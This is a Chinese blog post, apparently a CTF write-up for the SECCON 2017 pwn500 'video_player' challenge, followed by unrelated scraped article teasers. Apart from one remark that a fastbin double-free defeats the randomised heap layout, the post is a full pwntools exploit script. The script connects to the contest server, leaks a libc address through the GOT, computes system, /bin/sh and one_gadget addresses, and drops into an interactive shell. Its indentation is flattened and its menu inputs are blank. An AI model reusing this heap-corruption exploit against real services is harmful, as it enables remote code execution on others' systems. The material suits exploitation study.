感觉这个题目并不值500分,有些地方比较牵强,漏洞也比较明显,解题方法有多种,出题者把堆的布局随机化了,不过使用fastbin doublefree的话,可以完全忽视被打乱的堆。

 from pwn import *
#context.log_level='debug'
#wah
def newaudioclip(r, bitrate, length, data, description):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Audio Bitrate : ')
r.send(bitrate)
r.recvuntil('Audio Length (seconds) : ')
r.send(length)
r.recvuntil('Audio Data : ')
r.send(data)
r.recvuntil('Add description : ')
r.send(description) def newvideoclip(r, rs, fps, num, data, description):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Video Resolution : ')
r.send(rs)
r.recvuntil('FPS : ')
r.send(fps)
r.recvuntil('Number of Frames : ')
r.send(num)
r.recvuntil('Video Data : ')
r.send(data)
r.recvuntil('Add description : ')
r.send(description) def newmetadataclip(r, date, owner):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Date of Creation : ')
r.send(date)
r.recvuntil('Owner of video : ')
r.send(owner) def editvideoclip(r, inx, rs, fps, num, data, description):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx)
r.recvuntil('Video Resolution : ')
r.send(rs)
r.recvuntil('FPS : ')
r.send(fps)
r.recvuntil('Number of Frames : ')
r.send(num)
r.recvuntil('Video Data : ')
r.send(data)
r.recvuntil('Edit description : ')
r.send(description) def delclip(r, inx):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx) close = 0
def playvideoclip(r, inx):
global close
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx)
r.recvuntil('Playing video...\n')
tmp8 = r.recv(8)
final8 = ''
for i in range(0, 8):
final8 += chr(ord(tmp8[i])^0xcc)
close = u64(final8)
print('leaked close is %x'%close) chunk = 0
def playvideoclip1(r, inx):
global chunk
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx)
r.recvuntil('Playing video...\n')
tmp8 = r.recv(8)
final8 = ''
for i in range(0, 8):
final8 += chr(ord(tmp8[i])^0xcc)
chunk = u64(final8)
print('leaked chunk is %x'%chunk) def playvideoclip2(r, inx):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx) if 0:
ip = '127.0.0.1'
port = 10001
else:
ip = 'video_player.pwn.seccon.jp'
port = 7777 def getpid():
import time
exe = 'video_player'
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid
raw_input('go!') def pwnpwn():
r = remote(ip, port)
r.recvuntil('What is your movie name?')
getpid()
r.send('\x00'*0xff)
#newaudioclip(r, bitrate, length, data, description):
newaudioclip(r, p16(30), p32(0x50), '\x00', '\x00')
#
newvideoclip(r, p64(0), p32(0), p32(0x30), '\x00', '\x00')
editvideoclip(r, '', p64(0), p32(0), p32(0x50), '\x00', '\x00') delclip(r, '')
delclip(r, '') #
newvideoclip(r, p64(0), p32(0), p32(0x50), '\x00', '\x00') data = p64(0x00402968) + p64(0x0) + p32(0x0) + p32(0x50) + p64(0x00604028)
editvideoclip(r, '', p64(0), p32(0), p32(0x50), data, '\x00')
playvideoclip(r, '') #
close_offset = 0xF78B0
binsh_offset = 0x18CD17
system_offset = 0x45390
one_gadget_offset = 0xf1117
binsh = close - close_offset + binsh_offset
system = close - close_offset + system_offset
one_gadget = close - close_offset + one_gadget_offset
data1 = p64(0)*2+p64(one_gadget)
newmetadataclip(r, data1, '\x00'*0x1f) data2 = p64(0x00402968) + p64(0x0) + p32(0x0) + p32(0x50) + p64(0x0000000000604400+3*8)
editvideoclip(r, '', p64(0), p32(0), p32(0x50), data2, '\x00')
playvideoclip1(r, '') raw_input('here')
data3 = p64(chunk)
editvideoclip(r, '', p64(0), p32(0), p32(0x50), data3, 'b'*0x2f)
playvideoclip2(r, '')
r.interactive() pwnpwn()

Seccon2017-pwn500-video_player的更多相关文章

  1. 胖哈勃杯Pwn400、Pwn500详解

    概述 这次的胖哈博杯我出了Pwn400.Pwn500两道题目,这里讲一下出题和解题的思路.我个人感觉前两年的Pwn题更多的是考察单一的利用技巧,比我这有个洞怎么利用它拿到权限.但是我研究了一些最近的题 ...

  2. 基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件[转]

    上一篇文章介绍到怎么在自己的Java环境中搭建openfire插件开发的环境,同时介绍到怎样一步步简单的开发openfire插件.一步步很详细的介绍到简单插件开发,带Servlet的插件的开发.带JS ...

  3. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  4. ZCTF-Pwn

    版权声明:本文为博主原创文章,未经博主允许不得转载.  最近有了点时间,把ZCTF的pwn总结了下,就差最后一个pwn500,另找时间总结. 文件打包:http://files.cnblogs.com ...

  5. 老司机教你下载tumblr上视频和图片的正确姿势

    本文面向初学者. 很多同学问我:“我非常想学Python编程,但是找不到兴趣点”. 还有的同学呢,找到了很好的兴趣点,但是无从下手,“玄魂老师,我想下载tumblr上的视频, 怎么下载,Python能 ...

  6. phpcms添加视频

    phpcms添加视频分为三种情况,一种是在首页播放,一种是在列表页播放,另一种是在内容页播放.其中在首页播放和在列表页播放的区别就是catid值是固定的还是取得当前catid的区别.而在首页和列表页播 ...

  7. openfire:基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件

    基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件 上一篇文章介绍到怎么在自己的Java环境中搭建openfire插件开发的环境,同时介绍到怎样一步步简单的开发openfir ...

  8. 基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件

    原文:http://www.cnblogs.com/hoojo/archive/2013/03/29/openfire_plugin_chatlogs_plugin_.html 随笔-150  评论- ...

  9. HTML5 Video player jQuery plugin

    <!DOCTYPE html> <html lang="en" > <head> <meta charset="utf-8&qu ...

  10. flutter packages.

    connectivity This plugin allows Flutter apps to discover network connectivity and configure themselv ...

随机推荐

  1. Java构建网站多级菜单功能解决方案

    在网站开发的时候我们会对网站的栏目进行分类,一个栏目可以有多个子分类,一个子分类又可以有分裂,例如:新闻栏目下有每日早报和每日晚报两个栏目,其中每日早报下面又分为上海早报,北京早报,杭州早报,下面是京 ...

  2. Spring在Web应用中使用的原理

    那Spring如何在web应用中使用 ①加入Spring web应用的特定jar包spring-web-4.0.0.RELEASE.jar.spring-webmvc-4.0.0.RELEASE.ja ...

  3. MySQL的表分区详解 - 查看分区数据量,查看全库数据量----转http://blog.csdn.net/xj626852095/article/details/51245844

    查看分区数据量,查看全库数据量 USE information_schema; SELECT PARTITION_NAME,TABLE_ROWS FROM INFORMATION_SCHEMA.PAR ...

  4. virtio后端驱动详解

    2016-10-08 virtIO是一种半虚拟化驱动,广泛用于在XEN平台和KVM虚拟化平台,用于提高客户机IO的效率,事实证明,virtIO极大的提高了VM IO 效率,配备virtIO前后端驱动的 ...

  5. MFC Spin 控件

    一般应用: 设置属性: Auto Buddy(自动取关联控件为TAB顺序前一个)Set Buddy Interger(使控件设置关联控件数值,这个值可以是十进制或十六进制)Wrap(数值超过范围时循环 ...

  6. linux 这是定时任务

    1. 编写shell脚本:vim test.sh #/bin/bash echo "hello world" 2.crontab任务配置基本格式: *   * * * * comm ...

  7. webpack无法通过 IP 地址访问 localhost 解决方案

    解决方案: 在config里面的index.js里面的module.exports下面的dev下面的host:'localhost' 改为 host:'0.0.0.0',就可以访问啦!

  8. SyntaxError: Missing parentheses in call to 'print'. Did you mean print('XXXXXX')?

    因为Python3中取消了以前Python 2中的语法. 所以Python 3再使用python2的语法格式就会报错 错误信息中提示需要加上括号,字符串可以用单引号或双引号括起来 这样就不会报错了.

  9. PHP 基础篇 - PHP 的 BC MATH 系列数学函数

    一.常见问题 用 PHP 做计算时经常会遇到精度带来的问题,下面来看两个常见的例子: 1. 运算比较 下面表达式输出的结果不是相等: <?php echo 2.01 - 0.01 == 2 ? ...

  10. 生信-cufflinks输入输出文件分析

    转自:https://wenku.baidu.com/view/8d6a95d20d22590102020740be1e650e52eacf2a.html 输出包含3个文件:转录组的组装.gtf    ...